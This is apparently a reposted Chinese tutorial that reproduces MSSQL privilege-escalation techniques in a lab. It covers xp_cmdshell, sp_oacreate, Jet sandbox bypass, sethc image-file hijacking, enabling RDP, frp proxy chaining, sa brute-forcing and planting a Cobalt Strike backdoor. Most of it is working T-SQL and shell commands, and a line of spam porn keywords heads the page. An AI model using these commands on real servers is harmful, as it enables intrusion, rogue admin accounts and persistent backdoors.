一区二区三区三上|欧美在线视频五区|国产午夜无码在线观看视频|亚洲国产裸体网站|无码成年人影视|亚洲AV亚洲AV|成人开心激情五月|欧美性爱内射视频|超碰人人干人人上|一区二区无码三区亚洲人区久久精品

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

數(shù)據(jù)庫安全之MSSQL滲透

jf_Fo0qk3ln ? 來源:菜鳥學信安 ? 2023-02-15 11:30 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

本篇文章是MSSQL數(shù)據(jù)庫漏洞提權(quán)復現(xiàn)記錄,記錄了實際中常見的MSSQL數(shù)據(jù)庫漏洞并如何利用,對漏洞底層的原理簡單分析,主要分為五個部分:MSSQL簡介、MSSQL各版本安裝、MSSQL基本操作、MSSQL漏洞復現(xiàn)提權(quán)和自建內(nèi)網(wǎng)環(huán)境實戰(zhàn)。

本篇文章由淺入深地介紹了系統(tǒng)存儲過程控制不當導致提權(quán)如sp_oacreate和sp_oamethod、擴展存儲過程使用不當提權(quán)如xp_cmdshell和xp_regwrite、沙盒提權(quán)及映像劫持。在學習MSSQL過程中也閱讀了幾十篇中英文MSSQL相關(guān)技術(shù)文章,最終按照作者我的思路進行總結(jié),相關(guān)參考文章也在文中有列出。此外,文中可能會出現(xiàn)部分錯誤,望讀者指出,謝謝。接著,開始我們的MSSQL數(shù)據(jù)庫滲透學習!!

一、MSSQL簡介

MSSQL(MicroSoft SQL Server數(shù)據(jù)庫),是微軟開發(fā)的關(guān)系型數(shù)據(jù)庫管理系統(tǒng)DBMS,是一個較大型的數(shù)據(jù)庫,提供數(shù)據(jù)庫的從服務器到終端的完整的解決方案,數(shù)據(jù)庫管理系統(tǒng)SSMS(SQL Server Managerment Studio),是一個用于建立、使用和維護數(shù)據(jù)庫的集成開發(fā)環(huán)境。端口號:1433

SA用戶

在搭建時,選擇使用SQL Server身份驗證會創(chuàng)建SA賬戶并設置密碼,SA(System Administrator)表示系統(tǒng)管理員,在SQLServer2019之前的SA用戶都是系統(tǒng)最高權(quán)限用戶SYSTEM,但在2019版本時為普通數(shù)據(jù)庫用戶mssqlserver,是一個低權(quán)用戶。

MSSQL權(quán)限級別

sa權(quán)限:數(shù)據(jù)庫操作,文件管理,命令執(zhí)行,注冊表讀取等價于system,SQLServer數(shù)據(jù)庫的最高權(quán)限

db權(quán)限:文件管理,數(shù)據(jù)庫操作等價于 users-administrators

public權(quán)限:數(shù)據(jù)庫操作等價于 guest-users

存儲過程

MSSQL的存儲過程是一個可編程的函數(shù),它在數(shù)據(jù)庫中創(chuàng)建并保存,是使用T_SQL編寫的代碼段,目的在于能夠方便的從系統(tǒng)表中查詢信息。數(shù)據(jù)庫中的存儲過程可以看做是對編程中面向?qū)ο蠓椒ǖ?a href="http://www.www27dydycom.cn/analog/" target="_blank">模擬。它允許控制數(shù)據(jù)的訪問方式,使用execute命令執(zhí)行存儲過程。(可以將存儲過程理解為函數(shù)調(diào)用的過程)

簡單來說,存儲過程就是一條或者多條sql語句的集合,可視為批處理文件

存儲過程可分為三類:系統(tǒng)存儲過程:主要存儲在master數(shù)據(jù)庫中,以”sp_“為前綴,在任何數(shù)據(jù)庫中都可以調(diào)用,在調(diào)用的時候不必在存儲過程前加上數(shù)據(jù)庫名擴展存儲過程:是對動態(tài)鏈接庫(DLL)函數(shù)的調(diào)用,主要是用于客戶端與服務器端或客戶端之間進行通信的,以“xp**_“為前綴,使用方法與系統(tǒng)存儲過程類似用戶定義的存儲過程:**是SQLServer的使用者編寫的存儲過程

系統(tǒng)數(shù)據(jù)庫

系統(tǒng)數(shù)據(jù)庫默認創(chuàng)建時就會存在,有以下4種

2614199e-ac54-11ed-bfe3-dac502259ad0.jpg

數(shù)據(jù)庫名 含義
master master數(shù)據(jù)庫控制SQLserver數(shù)據(jù)庫所有方面。這個數(shù)據(jù)庫中包括了所有的配置信息、用戶登錄信息、當前正在服務器中運行的過程的信息等。
model model數(shù)據(jù)庫是建立所有用戶數(shù)據(jù)庫時的模版。新建數(shù)據(jù)庫時,SQLserver會把model數(shù)據(jù)庫中的所有對象建立一份拷貝并移到新數(shù)據(jù)庫中。在模版對象被拷貝到新的用戶數(shù)據(jù)庫中之后,該數(shù)據(jù)庫的所有多余空間都將被空頁填滿。
msdb msdb數(shù)據(jù)庫是SQLserver數(shù)據(jù)庫中的特例,若想查看此數(shù)據(jù)庫的實際定義,會發(fā)現(xiàn)它其實是一個用戶數(shù)據(jù)庫。所有的任務調(diào)度、報警、操作員都存儲在msdb數(shù)據(jù)庫中。該庫的另一個功能是用來存儲所有備份歷史。SQLserver agent將會使用這個庫。
tempdb 據(jù)庫是一個非常特殊的數(shù)據(jù)庫,供所有來訪問你的SQL Server的用戶使用。這個庫用來保存所有的臨時表、存儲過程和其他SQL Server建立的臨時用的東西。例如,排序時要用到tempdb數(shù)據(jù)庫。數(shù)據(jù)被放進tempdb數(shù)據(jù)庫,排完序后再把結(jié)果返回給用戶。每次SQL Server重新啟動,它都會清空tempdb數(shù)據(jù)庫并重建。永遠不要在tempdb數(shù)據(jù)庫建立需要永久保存的表。

MSSQL注入

MSSQL注入與普通的MYSQL注入類似,但在數(shù)據(jù)結(jié)構(gòu)特定函數(shù)名稱上有些差異。而使用經(jīng)過語法擴展的T-SQL語句,在實現(xiàn)更為復雜的業(yè)務的同時,也帶來了安全上的危險。因此MSSQL在后續(xù)提權(quán)部分,與MYSQL有著較大的差異。由于該數(shù)據(jù)庫與Windows平臺的高契合度,使其可以使用Windows身份驗證(或SA管理員賬號),這就導致其運行權(quán)限較高。因此,若后續(xù)權(quán)限沒有限制準確,WEB代碼又存在SQL注入時,就會給整個服務器的安全帶來嚴重威脅,其后果一般比Mysql被攻破要嚴重。

二、軟件安裝及環(huán)境搭建

1、MSSQL 2019安裝

Win2016 + MSSQL2019

下載地址:https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads

選擇SQL Server 2019 Express Edition版本

安裝過程百度即可,這里記錄其中較關(guān)鍵的地方:

安裝類型選擇-基本(B)
實例配置選擇-默認實例
服務器配置選擇-混合模式(SQL Server身份驗證和Windows 身份驗證)(M)
配置SQL Server系統(tǒng)管理員SA的密碼(我設置密碼為123.com

安裝SQL Server Managerment Studio|SSMS

安裝完SQL Server Express版本后,可以直接選擇安裝SSMS

2633dc34-ac54-11ed-bfe3-dac502259ad0.jpg

在點擊"安裝SSMS"彈出網(wǎng)頁內(nèi)選擇下載SSMS
點擊該程序,默認安裝即可

2、MSSQL 2008 x64 安裝

Win2016 + MSSQL2008

下載地址:

https://www.microsoft.com/zh-CN/download/details.aspx?id=30438

下載如圖兩個文件

265a446e-ac54-11ed-bfe3-dac502259ad0.jpg

先安裝SQLEXPR_x64_CHS.exe

基本安裝過程類似2019的,記錄下重要部分

選擇-全新安裝
實例配置選擇-默認實例
服務器配置選擇-混合模式(SQL Server身份驗證和Windows 身份驗證)(M)
配置SQL Server系統(tǒng)管理員SA的密碼(我設置密碼為123.com

再安裝SQLManagementStudio_x64_CHS.exe

提示沒有安裝.NET3.5,按下文步驟即可

https://www.cnblogs.com/labster/p/14863516.html

之后選擇全新安裝,默認下一步即可

3、MSSQL 2008 x32 安裝

Win2003 + MSSQL2008

下載地址:

https://www.microsoft.com/zh-CN/download/details.aspx?id=30438

這里的32位系統(tǒng)環(huán)境用于復現(xiàn)第四部分的沙盒漏洞提權(quán),相較于前兩個數(shù)據(jù)庫的安裝,這里遇到了不少坑,較詳細介紹下。使用Win2003 x32系統(tǒng)作為復現(xiàn)操作系統(tǒng),由于年代久遠加上03系統(tǒng)裝08軟件,記錄下幾個坑點。

1)啟動SQLEXPR_x86_CHS.exe提示缺失程序

26889d64-ac54-11ed-bfe3-dac502259ad0.jpg

2)安裝.NET 3.5

慢慢等待5分鐘

26af8eba-ac54-11ed-bfe3-dac502259ad0.jpg

3)安裝Windows_Installer4.5x86.exe

默認下一步

26db5ba8-ac54-11ed-bfe3-dac502259ad0.jpg

4)安裝powershell2003x86-CHS.exe

270da19e-ac54-11ed-bfe3-dac502259ad0.jpg

其余安裝過程類似,就不詳細介紹了,附上安裝工具包:

https://pan.baidu.com/s/15CngCBWign9fY1IrSt4_jg
密碼:fm4v

三、MSSQL基本操作

1、SSMS連接數(shù)據(jù)庫

連接本地數(shù)據(jù)庫,在之前的設置中,我們設置了混雜模式,即可以使用SQL Server 身份驗證或 Windows 身份驗證登陸進數(shù)據(jù)庫,點擊啟動SSMS

服務器名稱可以填寫主機名或本地ip地址 登錄名和密碼為sa:123.com

2722f3b4-ac54-11ed-bfe3-dac502259ad0.jpg

注意點:可以一開始會出現(xiàn)使用主機名可以登入上,但是使用ip登入不上的情況可以參考如下文章解決

https://blog.csdn.net/weixin_30740295/article/details/95535927

MSSQL設置允許通過ip登陸

(以2019版本為例,其余版本類似)

1)打開配置管理器

2748e268-ac54-11ed-bfe3-dac502259ad0.jpg

2)協(xié)議TCP/IP設置為開啟

SQL Server 網(wǎng)絡配置下的MSSQLSERVER的協(xié)議里啟用TCP/IP協(xié)議

27726656-ac54-11ed-bfe3-dac502259ad0.jpg

3)開啟遠程登陸

先用主機名進行登陸

右鍵,打開數(shù)據(jù)庫的屬性

2795e162-ac54-11ed-bfe3-dac502259ad0.jpg

連接處勾選允許遠程連接到此服務器

27b91f38-ac54-11ed-bfe3-dac502259ad0.jpg

4)關(guān)閉防火墻

這里用于滲透測試,直接全部關(guān)了

27e96724-ac54-11ed-bfe3-dac502259ad0.jpg

5)重啟SSMS服務

打開管理員模式下的CMD

net stop mssqlserver
net start mssqlserver

之后就可以使用IP進行登陸

2814667c-ac54-11ed-bfe3-dac502259ad0.jpg

2、常見語句

右鍵系統(tǒng)數(shù)據(jù)庫,新建查詢

284359c8-ac54-11ed-bfe3-dac502259ad0.jpg

查看數(shù)據(jù)庫版本

select @@VERSION

獲取MSSQL中的所有數(shù)據(jù)庫名


	
SELECT name FROM MASter..SysDatabASes ORDER BY name

查詢所有數(shù)據(jù)庫中的表名

SELECT SysObjects.name AS Tablename FROM sysobjects WHERE xtype = 'U' and sysstat<200

其余見MSSQL基礎學習部分,自行百度

exec xp_dirtree 'c:'        # 列出所有c:文件、目錄、子目錄
exec xp_dirtree 'c:',1      # 只列c:目錄
exec xp_dirtree 'c:',1,1    # 列c:目錄、文件
exec xp_subdirs 'C:';       # 只列c:目錄
select is_srvrolemember('sysadmin') # 判斷是否是SA權(quán)限
select is_member('db_owner')        # 判斷是否是db_owner權(quán)限
select is_srvrolemember('public')   # 判斷是否是public權(quán)限
EXEC sp_configure 'Ole Automation Procedures'   #查看OLE Automation Procedures的當前設置

四、MSSQL漏洞復現(xiàn)

1、使用xp_cmdshell進行提權(quán)

xp_cmdshell默認在mssql2000中是開啟的,在mssql2005之后默認禁止,但未刪除

0x01 xp_cmdshell簡介

xp``_cmdshellSql Server中的一個組件,將命令字符串作為操作系統(tǒng)命令 shell 執(zhí)行,并以文本行的形式返回所有輸出。通常在拿到sa口令之后,可以通過xp``_cmdshell來進行提權(quán)

影響范圍:

只要該數(shù)據(jù)庫存在該組件,就可以利用

0x02 xp_cmdshell使用

1)查看xp_cmdshell狀態(tài)

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

返回1表示xp``_cmdshell組件啟用

也可以手動查看,右鍵數(shù)據(jù)庫,打開Facets

286cd8b6-ac54-11ed-bfe3-dac502259ad0.jpg

在方面中選擇外應用配置器,在方面屬性中查看XP``CmdShellEnabled屬性為True

288639a0-ac54-11ed-bfe3-dac502259ad0.jpg

2)開啟xp_cmdshell組件

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

28cd7892-ac54-11ed-bfe3-dac502259ad0.jpg

同樣,關(guān)閉該組件的命令為

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',0
RECONFIGURE

3)利用xp_cmdshell執(zhí)行命令

執(zhí)行系統(tǒng)命令

以下幾條命令格式都可以用于執(zhí)行系統(tǒng)命令

exec xp_cmdshell "whoami"
master..xp_cmdshell 'whoami'    (2008版上好像用不了)
EXEC master..xp_cmdshell "whoami"
EXEC master.dbo.xp_cmdshell "ipconfig"

28ec217a-ac54-11ed-bfe3-dac502259ad0.jpg

注意點:在MSSQL2019版本中,會使用mssqlserver用戶而非system用戶

0x03 模擬實戰(zhàn):遠程命令執(zhí)行創(chuàng)建用戶

這里通過演示遠程命令執(zhí)行來模擬實戰(zhàn)情況,遠程MSSQL數(shù)據(jù)庫版本為2008版 環(huán)境信息:

遠程MSSQL數(shù)據(jù)庫的IP:192.168.112.166

假設已經(jīng)爆破得到了sa密碼

創(chuàng)建用戶聯(lián)合wmiexec拿到shell
exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"

290ed378-ac54-11ed-bfe3-dac502259ad0.jpg

可以看到用戶添加成功

29302a32-ac54-11ed-bfe3-dac502259ad0.jpg

后續(xù)可以登陸用戶上傳木馬,上線CS,詳情見本文第五部分:二級內(nèi)網(wǎng)MSSQL滲透|上線CS

0x04 保護措施

將該xp_cmdshell存儲過程刪除即可

exec sp_dropextendedproc 'xp_cmdshell'

被刪除后,重新添加xp``_cmdshell存儲過程語句

EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';

若想徹底刪除xp_cmdshell擴展存儲過程,建議在C盤里直接搜索xplog70.dll,然后刪除xp_cmdshell。

2、使用sp_oacreate進行提權(quán)|無回顯

0x01 sp_oacreate簡介

調(diào)用wscript.shel執(zhí)行命令

sp_oacreate系統(tǒng)存儲過程可以用于對文件刪除、復制、移動等操作,還可以配合sp_oamethod系統(tǒng)存儲過程調(diào)用系統(tǒng)wscript.shell來執(zhí)行系統(tǒng)命令。sp_oacreatesp_oamethod兩個過程分別用來創(chuàng)建和執(zhí)行腳本語言。

系統(tǒng)管理員使用sp_configure啟用sp_oacreatesp_oamethod系統(tǒng)存儲過程對OLE自動化過程的訪問(OLE Automation Procedures)

在效果方面,sp_oacreate、sp_oamethod兩個過程和xp_cmdshell過程功能類似,因此可以替換使用!

利用條件:

1.已獲取到sqlserver sysadmin權(quán)限用戶的賬號與密碼且未降權(quán)(如2019版本sa用戶權(quán)限為mssqlserver,已降權(quán))

2.sqlserver允許遠程連接

3.OLE Automation Procedures選項開啟

0x02 sp_oacreate使用

1)查看sp_oacreate狀態(tài)

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';

返回1表示存在sp_oacreate系統(tǒng)存儲過程

2)啟用OLE Automation Procedures選項

當啟用 OLE Automation Procedures 時,對 sp_OACreate 的調(diào)用將會啟動 OLE 共享執(zhí)行環(huán)境。

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure;

294d599a-ac54-11ed-bfe3-dac502259ad0.jpg

類似的,關(guān)閉組件命令

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure;

3)利用sp_oacreate和sp_oamethod執(zhí)行命令

寫入文件

declare @shell int exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >c:\sqltest.txt';
回顯0表示成功

297306ae-ac54-11ed-bfe3-dac502259ad0.jpg

由于這里是無回顯的命令執(zhí)行,到另一臺主機上查看效果,成功寫入。

29a3f0c0-ac54-11ed-bfe3-dac502259ad0.jpg

刪除文件

declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'c:sqltest.txt'
exec sp_oadestroy @fso_token

29c5547c-ac54-11ed-bfe3-dac502259ad0.jpg

可以看到文件已刪除

29e91d76-ac54-11ed-bfe3-dac502259ad0.jpg

同樣,也可以使用4.1中的創(chuàng)建用戶進行登陸拿shell。

3、利用SQL Server 沙盒提權(quán)

0x01 SQL Server 沙盒簡介

沙盒模式是一種安全功能,用于限制數(shù)據(jù)庫只對控件和字段屬性中的安全且不含惡意代碼的表達式求值。如果表達式不使用可能以某種方式損壞數(shù)據(jù)的函數(shù)或?qū)傩裕ㄈ鏚ill 和 Shell 之類的函數(shù)),則可認為它是安全的。當數(shù)據(jù)庫以沙盒模式運行時,調(diào)用這些函數(shù)的表達式將會產(chǎn)生錯誤消息。

沙盒提權(quán)的原理就是jet.oledb(修改注冊表)執(zhí)行系統(tǒng)命令。數(shù)據(jù)庫通過查詢方式調(diào)用mdb文件,執(zhí)行參數(shù),繞過系統(tǒng)本身自己的執(zhí)行命令,實現(xiàn)mdb文件執(zhí)行命令。

利用前提:

1.需要Microsoft.Jet.OLEDB.4.0一般在32位系統(tǒng)才可以,64位機需要12.0,較復雜

2.dnary.mdbias.mdb兩個文件 在win2003上默認存在,也可自行準備

0x02 沙盒提權(quán)

復現(xiàn)環(huán)境

SQL Server2008 (Win2003-x32)
IP: 192.168.112.173

1)測試 jet.oledb 能否使用

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami")')

2a12e066-ac54-11ed-bfe3-dac502259ad0.jpg

2)開啟Ad Hoc Distributed Queries組件

exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',1 ;
reconfigure;

2a359c3c-ac54-11ed-bfe3-dac502259ad0.jpg

類似的,關(guān)閉組件命令

exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',0 ;
reconfigure;

3)關(guān)閉沙盒模式

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;


沙盒模式`SandBoxMode`參數(shù)含義(默認是2
0:在任何所有者中禁止啟用安全模式
1:為僅在允許范圍內(nèi)
2:必須在access模式下
3:完全開啟

2a5833a0-ac54-11ed-bfe3-dac502259ad0.jpg

查看命令:

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'

關(guān)閉命令:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',2

4)執(zhí)行命令

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami >c:\sqltest.txt ")');

在win2003的c盤上看到已經(jīng)創(chuàng)建了該文件,命令執(zhí)行成功

2a769a66-ac54-11ed-bfe3-dac502259ad0.jpg

同樣,可以創(chuàng)建用戶

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user testq QWEasd123 /add")');


Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net localgroup administrators testq /add")');


Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user testq")');

4、使用xp_regwrite提權(quán) | 映像劫持提權(quán)

2008以上,05未測試

0x01 簡介

通過使用xp_regwrite存儲過程對注冊表進行修改,替換成任意值,造成鏡像劫持。

前提條件:

1.未禁止注冊表編輯(即寫入功能)

2.xp_regwrite啟用

0x02 映像劫持提權(quán)

1)查看xp_regwrite是否啟用

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'

2)xp_regwrite開啟與關(guān)閉

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_regwrite',1
RECONFIGURE

2)利用regwrite函數(shù)修改組注冊表進行劫持

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:windowssystem32cmd.exe'

2a9ef196-ac54-11ed-bfe3-dac502259ad0.jpg

2)查看是否修改成功文件

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe','Debugger'

2abadcda-ac54-11ed-bfe3-dac502259ad0.jpg

顯示已修改為cmd.exe

在目標主機上查看,結(jié)果一致

2ad3ebee-ac54-11ed-bfe3-dac502259ad0.jpg

3)驗證是否成功

連按5次粘滯鍵,彈出cmd框

2afbb1ec-ac54-11ed-bfe3-dac502259ad0.jpg

拓展:

上面對只是對粘滯鍵進行修改,類似的,可以在注冊表中進行其他操作

刪除指定注冊表鍵值對

刪除粘滯鍵的鍵值

xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe'

2b97d8ba-ac54-11ed-bfe3-dac502259ad0.jpg

到目標主機上查看,發(fā)現(xiàn)sethc.exe在注冊表中的值已刪除

2bb69890-ac54-11ed-bfe3-dac502259ad0.jpg

開啟3389端口這里的xp``_regwrite為向注冊表中寫數(shù)據(jù)

execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminalServer','fDenyTSConnections','REG_DWORD',0;
exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"

2bdab39c-ac54-11ed-bfe3-dac502259ad0.jpg

在注冊表中也可以看到3389端口被打開

2bfba232-ac54-11ed-bfe3-dac502259ad0.jpg

0x03 參考

https://sqlandme.com/tag/xp_regwrite/

IFEO映像劫持在實戰(zhàn)中的使用 - 知乎 (zhihu.com)

5、使用sp_makewebtask寫文件

2005

一般可以用于web網(wǎng)站,寫入后門文件

1)查看該組件

EXEC sp_configure 'Web Assistant Procedures'

2)開啟該組件

exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE

報錯,在SQLServer2005后好像都沒有這個組件了

6、拓展&小結(jié)

常見的存儲過程:

xp_cmdshell         執(zhí)行系統(tǒng)命令
xp_fileexist        確定一個文件是否存在。
xp_getfiledetails   獲得文件詳細資料。
xp_dirtree          展開你需要了解的目錄,獲得所有目錄深度。
Xp_getnetname       獲得服務器名稱。


注冊表訪問的存儲過程
Xp_regwrite
Xp_regread
Xp_regdeletekey
Xp_regaddmultistring
Xp_regdeletevalue
Xp_regenumvalues
Xp_regremovemultistring


OLE自動存儲過程
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop

五、二級內(nèi)網(wǎng)MSSQL滲透|上線CS

這里模擬搭建二級內(nèi)網(wǎng)環(huán)境,順便復習下二級frp代理的搭建和內(nèi)網(wǎng)穿透上線CS。環(huán)境配置信息如下

公網(wǎng)服務器
121.xx.xx.xx
Web服務器(目標站點)
192.168.73.137(對外)
10.10.10.101(對內(nèi))
域控
10.10.10.10
10.12.10.5
MSSQL服務器
10.12.10.3

這里假設已經(jīng)獲取到了Web服務器和域控的權(quán)限

1、搭建二級代理

1)在域控上傳frpc.exefrpc.ini文件

#frpc.ini
[common]
server_addr = 10.10.10.101
server_port = 12010     # 連接端口
[http_proxy]
type = tcp
remote_port = 1084      # 代理端口
plugin = socks5

2)在Web服務器上傳frpc.exe、frpc.ini、frps.exe、frps.ini文件


	
# frps.ini
[common]
bind_addr = 10.10.10.101
bind_port = 12010 


# frpc.ini
[common]
server_addr = 121.xx.xx.xx
server_port = 12010
[http_proxy]
type = tcp
local_ip = 10.10.10.101
local_port = 1084
remote_port = 1084

3)在公網(wǎng)服務器上傳frps.exefrps.ini

#frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 12010

4)依次連接(由內(nèi)到外)

web服務器
frps.exe -c frps.ini
域控
frpc.exe -c frpc.ini


公網(wǎng)服務器
frps.exe -c frps.ini
web服務器
frpc.exe -c frpc.ini

2、爆破sa密碼

使用fscan掃描,順便進行弱口令爆破,成功爆破出sa密碼

2c190688-ac54-11ed-bfe3-dac502259ad0.jpg

也可以使用msf模塊爆破

3、設置代理|遠程登陸MSSQL

使用Proxifier設置代理,添加代理服務器信息

2c3e84da-ac54-11ed-bfe3-dac502259ad0.jpg

連接MSSQL數(shù)據(jù)庫

2c63f436-ac54-11ed-bfe3-dac502259ad0.jpg

成功連接?。?/p>

2c82d7ac-ac54-11ed-bfe3-dac502259ad0.jpg

4、使用xp_cmdshell創(chuàng)建用戶

這里也可以使用其他方法命令執(zhí)行

1)查看開啟xp_cmdshell組件

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

2ca21dc4-ac54-11ed-bfe3-dac502259ad0.jpg

2)查看當前權(quán)限

exec master..xp_cmdshell "whoami"

2ccdf05c-ac54-11ed-bfe3-dac502259ad0.jpg

system權(quán)限,可以創(chuàng)建用戶

3)創(chuàng)建用戶并添加至管理員組

創(chuàng)建sqltest用戶,密碼為123.com

exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"

2cf2a424-ac54-11ed-bfe3-dac502259ad0.jpg

4)CS生成后門文件(中轉(zhuǎn)監(jiān)聽器)

在域控上建立中轉(zhuǎn)監(jiān)聽器

2d1444d0-ac54-11ed-bfe3-dac502259ad0.jpg

2d2e745e-ac54-11ed-bfe3-dac502259ad0.jpg

將生成好后的文件拷貝到kali上

5)使用wmiexec工具遠程登陸

proxychains python3 wmiexec.py tset12:123.com@10.12.10.3

上傳木馬文件

2d5503c6-ac54-11ed-bfe3-dac502259ad0.jpg

6)成功上線CS

2d7636ae-ac54-11ed-bfe3-dac502259ad0.jpg

六、總結(jié)

本文介紹了幾種提權(quán)拿shell的方法,主要是利用到了系統(tǒng)存儲過程和擴展存儲過程。最常見的xp_cmdshell可以用于執(zhí)行系統(tǒng)命令,xp_regwrite、xp_regread用于注冊表的讀寫進行映像劫持,sp_oacreate、sp_oamethod基于OLE Automation Procedures執(zhí)行系統(tǒng)命令,不過無回顯,基于沙盒的提權(quán)限制條件比較多且復雜,一般很少使用。


審核編輯 :李倩


聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學習之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • 數(shù)據(jù)庫
    +關(guān)注

    關(guān)注

    7

    文章

    3920

    瀏覽量

    66127
  • 函數(shù)
    +關(guān)注

    關(guān)注

    3

    文章

    4379

    瀏覽量

    64737
  • Shell
    +關(guān)注

    關(guān)注

    1

    文章

    372

    瀏覽量

    24176

原文標題:數(shù)據(jù)庫安全之MSSQL滲透

文章出處:【微信號:菜鳥學信安,微信公眾號:菜鳥學信安】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評論

    相關(guān)推薦
    熱點推薦

    用Delphi做中BDE連接SQL數(shù)據(jù)庫(學習Delphi環(huán)境中數(shù)據(jù)庫操作的方法和數(shù)據(jù)庫應用程序

    ,包含ODBC驅(qū)動程序、MSSQL驅(qū)動程序、ORACLE驅(qū)動程序、SYSBASE驅(qū)動程序等數(shù)據(jù)庫驅(qū)動程序。Aliases:這是IDAPI.CFG中最重要的設置內(nèi)容,它負責記錄數(shù)據(jù)庫文件別名的關(guān)系,如此
    發(fā)表于 05-10 11:09

    安全數(shù)據(jù)庫如何管理

    據(jù)我所知,關(guān)于BlueNrg-MS設備上綁定的編程手冊部分,加密密鑰存儲在安全數(shù)據(jù)庫中,以便解析地址并加密未來的數(shù)據(jù)連接。這一切似乎都按預期工作,但我不清楚如何管理安全數(shù)據(jù)庫隨著時間的推移,當許多
    發(fā)表于 03-04 16:41

    數(shù)據(jù)庫安全性概述

    本文主講 數(shù)據(jù)庫安全性,歡迎閱讀~????目錄一、數(shù)據(jù)庫安全性概述二、數(shù)據(jù)庫安全性控制1. 用
    發(fā)表于 07-30 06:42

    數(shù)據(jù)庫管理系統(tǒng)層次安全技術(shù)

    數(shù)據(jù)庫管理系統(tǒng)層次安全技術(shù) 數(shù)據(jù)庫系統(tǒng)的安全性很大程度上依賴于數(shù)據(jù)庫管理系統(tǒng)。如果數(shù)據(jù)庫管理系
    發(fā)表于 06-17 07:45 ?768次閱讀

    數(shù)據(jù)庫有什么安全需求?需要什么安全技術(shù)?

    數(shù)據(jù)庫安全就是指保護數(shù)據(jù)庫以防止非法使用所造成的信息泄露、更改或破壞。數(shù)據(jù)庫已經(jīng)在社會上和人們?nèi)粘I钪姓紦?jù)了十分重要的地位。該文首先簡要介紹了數(shù)據(jù)
    發(fā)表于 09-05 16:58 ?11次下載

    數(shù)據(jù)庫學習入門資料如何進行數(shù)據(jù)庫設計

    本文檔的主要內(nèi)容詳細介紹的是數(shù)據(jù)庫學習入門資料如何進行數(shù)據(jù)庫設計主要內(nèi)容包括了:數(shù)據(jù)庫系統(tǒng)設計的1 概述2 需求分析3 概念設計4 邏輯設計5 物理設計6 實現(xiàn)設計7運行與維護
    發(fā)表于 10-25 16:29 ?14次下載
